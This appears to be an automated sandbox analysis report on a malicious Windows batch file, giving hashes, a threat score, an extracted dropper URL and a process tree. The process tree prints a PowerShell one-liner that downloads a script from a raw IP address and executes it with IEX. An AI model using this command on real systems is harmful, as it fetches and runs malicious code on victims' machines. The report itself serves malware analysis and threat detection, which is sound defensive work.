23f68579cba61c408f614172efeb479148851a6bd3da41ae3c07973ae5cb258f | Triage

Analysis

max time kernel
117s
max time network
140s
platform
windows10_x64
resource
win10v200430
submitted
01-06-2020 21:10

Sharing

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General

Target

c6ed6f3350ae9dc790540c8267fb38a0.bat
Size

217B
MD5

0c60f7ecb1fd2c47aab73585757398a8
SHA1

34721c29de0d1d81960abd13d7c0f25525e584f8
SHA256

23f68579cba61c408f614172efeb479148851a6bd3da41ae3c07973ae5cb258f
SHA512

90b9512cee57a6ec7969a611ba125bddb5bcbed3fb3ae2cb83c897b8ea1a2a8f3f006bc6dbdd9c4fc8608c0486e911979856cd2e34806203ebc02c70c6b03b32

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/c6ed6f3350ae9dc790540c8267fb38a0

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2596 2124 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2596 WerFault.exe
Token: SeBackupPrivilege 2596 WerFault.exe
Token: SeDebugPrivilege 2596 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe
2596	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c6ed6f3350ae9dc790540c8267fb38a0.bat"
1⤵
PID:2016

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/c6ed6f3350ae9dc790540c8267fb38a0');Invoke-GEKVCYOWQV;Start-Sleep -s 10000"
2⤵
PID:2124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2124 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2596

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2596-0-0x0000000004830000-0x0000000004831000-memory.dmp

Filesize
4KB

Download
memory/2596-1-0x0000000004830000-0x0000000004831000-memory.dmp

Filesize
4KB

Download
memory/2596-3-0x0000000004B20000-0x0000000004B21000-memory.dmp

Filesize
4KB

Download